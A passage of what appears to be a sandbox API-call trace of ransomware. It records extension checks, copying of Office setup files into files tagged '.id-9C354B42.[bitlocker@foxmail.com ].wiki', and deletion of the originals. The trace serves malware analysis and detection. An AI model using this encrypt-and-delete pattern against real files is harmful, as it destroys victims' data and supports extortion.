Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0047.443] lstrlenW (lpString=".doc") returned 4 [0047.443] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.443] lstrlenW (lpString=".docx") returned 5 [0047.443] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0047.443] lstrlenW (lpString=".pdf") returned 4 [0047.443] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.443] lstrlenW (lpString=".xls") returned 4 [0047.443] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.443] lstrlenW (lpString=".xlsx") returned 5 [0047.443] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0047.443] lstrlenW (lpString=".ppt") returned 4 [0047.443] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0047.443] lstrlenW (lpString=".zip") returned 4 [0047.443] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.443] lstrlenW (lpString=".rar") returned 4 [0047.443] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.443] lstrlenW (lpString=".bz2") returned 4 [0047.443] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.443] lstrlenW (lpString=".7z") returned 3 [0047.443] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0047.443] lstrlenW (lpString=".dbf") returned 4 [0047.443] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0047.443] lstrlenW (lpString=".1cd") returned 4 [0047.443] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0047.444] lstrlenW (lpString=".jpg") returned 4 [0047.444] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0047.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0047.444] lstrlenW (lpString=".doc") returned 4 [0047.444] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.444] lstrlenW (lpString=".docx") returned 5 [0047.444] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0047.444] lstrlenW (lpString=".pdf") returned 4 [0047.444] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.444] lstrlenW (lpString=".xls") returned 4 [0047.444] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.444] lstrlenW (lpString=".xlsx") returned 5 [0047.444] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0047.444] lstrlenW (lpString=".ppt") returned 4 [0047.444] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0047.444] lstrlenW (lpString=".zip") returned 4 [0047.444] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.444] lstrlenW (lpString=".rar") returned 4 [0047.444] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.444] lstrlenW (lpString=".bz2") returned 4 [0047.444] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.444] lstrlenW (lpString=".7z") returned 3 [0047.444] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0047.444] lstrlenW (lpString=".dbf") returned 4 [0047.444] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0047.444] lstrlenW (lpString=".1cd") returned 4 [0047.444] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0047.444] lstrlenW (lpString=".jpg") returned 4 [0047.444] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.445] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0047.445] lstrlenW (lpString="SETUP.XML") returned 9 [0047.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.445] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1852) returned 1 [0047.445] CloseHandle (hObject=0x1ec) returned 1 [0047.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0047.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.445] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.445] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0047.446] GetLastError () returned 0x0 [0047.446] ReadFile (in: hFile=0x1ec, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x73c, lpOverlapped=0x0) returned 1 [0047.456] WriteFile (in: hFile=0x1f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x740, lpOverlapped=0x0) returned 1 [0047.457] ReadFile (in: hFile=0x1ec, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.457] WriteFile (in: hFile=0x1f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0047.457] SetEndOfFile (hFile=0x1f0) returned 1 [0047.457] CloseHandle (hObject=0x1f0) returned 1 [0047.458] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.458] SetEndOfFile (hFile=0x1ec) returned 1 [0047.458] CloseHandle (hObject=0x1ec) returned 1 [0047.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0047.459] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0047.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0047.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0047.459] lstrlenW (lpString=".doc") returned 4 [0047.459] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.459] lstrlenW (lpString=".docx") returned 5 [0047.459] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0047.459] lstrlenW (lpString=".pdf") returned 4 [0047.459] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.459] lstrlenW (lpString=".xls") returned 4 [0047.459] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.459] lstrlenW (lpString=".xlsx") returned 5 [0047.459] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0047.459] lstrlenW (lpString=".ppt") returned 4 [0047.459] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0047.459] lstrlenW (lpString=".zip") returned 4 [0047.459] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.459] lstrlenW (lpString=".rar") returned 4 [0047.460] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.460] lstrlenW (lpString=".bz2") returned 4 [0047.460] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.460] lstrlenW (lpString=".7z") returned 3 [0047.460] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0047.460] lstrlenW (lpString=".dbf") returned 4 [0047.460] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0047.460] lstrlenW (lpString=".1cd") returned 4 [0047.460] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0047.460] lstrlenW (lpString=".jpg") returned 4 [0047.460] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0047.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0047.460] lstrlenW (lpString=".doc") returned 4 [0047.460] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.460] lstrlenW (lpString=".docx") returned 5 [0047.460] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0047.460] lstrlenW (lpString=".pdf") returned 4 [0047.460] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.460] lstrlenW (lpString=".xls") returned 4 [0047.460] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.460] lstrlenW (lpString=".xlsx") returned 5 [0047.460] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0047.460] lstrlenW (lpString=".ppt") returned 4 [0047.460] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0047.460] lstrlenW (lpString=".zip") returned 4 [0047.460] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.460] lstrlenW (lpString=".rar") returned 4 [0047.460] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.460] lstrlenW (lpString=".bz2") returned 4 [0047.460] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.461] lstrlenW (lpString=".7z") returned 3 [0047.461] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0047.461] lstrlenW (lpString=".dbf") returned 4 [0047.461] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0047.461] lstrlenW (lpString=".1cd") returned 4 [0047.461] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0047.461] lstrlenW (lpString=".jpg") returned 4 [0047.461] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.461] lstrcmpiW (lpString1=".CHM", lpString2=".wiki") returned -1 [0047.461] lstrlenW (lpString="OCT.CHM") returned 7 [0047.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.466] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=71236) returned 1 [0047.467] CloseHandle (hObject=0x1dc) returned 1 [0047.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0047.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.488] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.488] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0047.489] GetLastError () returned 0x0 [0047.489] ReadFile (in: hFile=0x1dc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x11644, lpOverlapped=0x0) returned 1 [0047.850] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x11650, lpOverlapped=0x0) returned 1 [0047.852] ReadFile (in: hFile=0x1dc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.852] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0047.852] SetEndOfFile (hFile=0x1f4) returned 1 [0047.959] CloseHandle (hObject=0x1f4) returned 1 [0047.968] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.968] SetEndOfFile (hFile=0x1dc) returned 1 [0047.977] CloseHandle (hObject=0x1dc) returned 1 [0047.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0047.985] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0047.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0047.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0047.995] lstrlenW (lpString=".doc") returned 4 [0047.995] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0047.995] lstrlenW (lpString=".docx") returned 5 [0047.995] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0047.995] lstrlenW (lpString=".pdf") returned 4 [0047.995] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0047.995] lstrlenW (lpString=".xls") returned 4 [0047.995] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0047.995] lstrlenW (lpString=".xlsx") returned 5 [0047.995] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0047.995] lstrlenW (lpString=".ppt") returned 4 [0047.995] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0047.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0047.996] lstrlenW (lpString=".zip") returned 4 [0047.996] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0047.996] lstrlenW (lpString=".rar") returned 4 [0047.996] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0047.996] lstrlenW (lpString=".bz2") returned 4 [0047.996] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0047.996] lstrlenW (lpString=".7z") returned 3 [0047.996] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0047.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0047.996] lstrlenW (lpString=".dbf") returned 4 [0047.996] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0047.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0047.996] lstrlenW (lpString=".1cd") returned 4 [0047.996] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0047.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0047.996] lstrlenW (lpString=".jpg") returned 4 [0047.996] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0047.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0047.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0047.996] lstrlenW (lpString=".doc") returned 4 [0047.996] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0047.996] lstrlenW (lpString=".docx") returned 5 [0047.996] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0047.996] lstrlenW (lpString=".pdf") returned 4 [0047.996] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0047.997] lstrlenW (lpString=".xls") returned 4 [0047.997] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0047.997] lstrlenW (lpString=".xlsx") returned 5 [0047.997] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0047.997] lstrlenW (lpString=".ppt") returned 4 [0047.997] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0047.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0047.997] lstrlenW (lpString=".zip") returned 4 [0047.997] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0047.997] lstrlenW (lpString=".rar") returned 4 [0047.997] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0047.997] lstrlenW (lpString=".bz2") returned 4 [0047.997] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0047.997] lstrlenW (lpString=".7z") returned 3 [0047.997] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0047.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0047.997] lstrlenW (lpString=".dbf") returned 4 [0047.997] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0047.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0047.997] lstrlenW (lpString=".1cd") returned 4 [0047.997] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0047.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0047.997] lstrlenW (lpString=".jpg") returned 4 [0047.997] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0047.997] lstrcmpiW (lpString1=".CHM", lpString2=".wiki") returned -1 [0047.997] lstrlenW (lpString="SETUP.CHM") returned 9 [0047.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0048.045] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=67190) returned 1 [0048.045] CloseHandle (hObject=0x1f8) returned 1 [0048.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0048.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0048.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0048.064] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.064] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0048.064] GetLastError () returned 0x0 [0048.064] ReadFile (in: hFile=0x1f4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x10676, lpOverlapped=0x0) returned 1 [0048.067] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0048.069] ReadFile (in: hFile=0x1f4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.069] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, 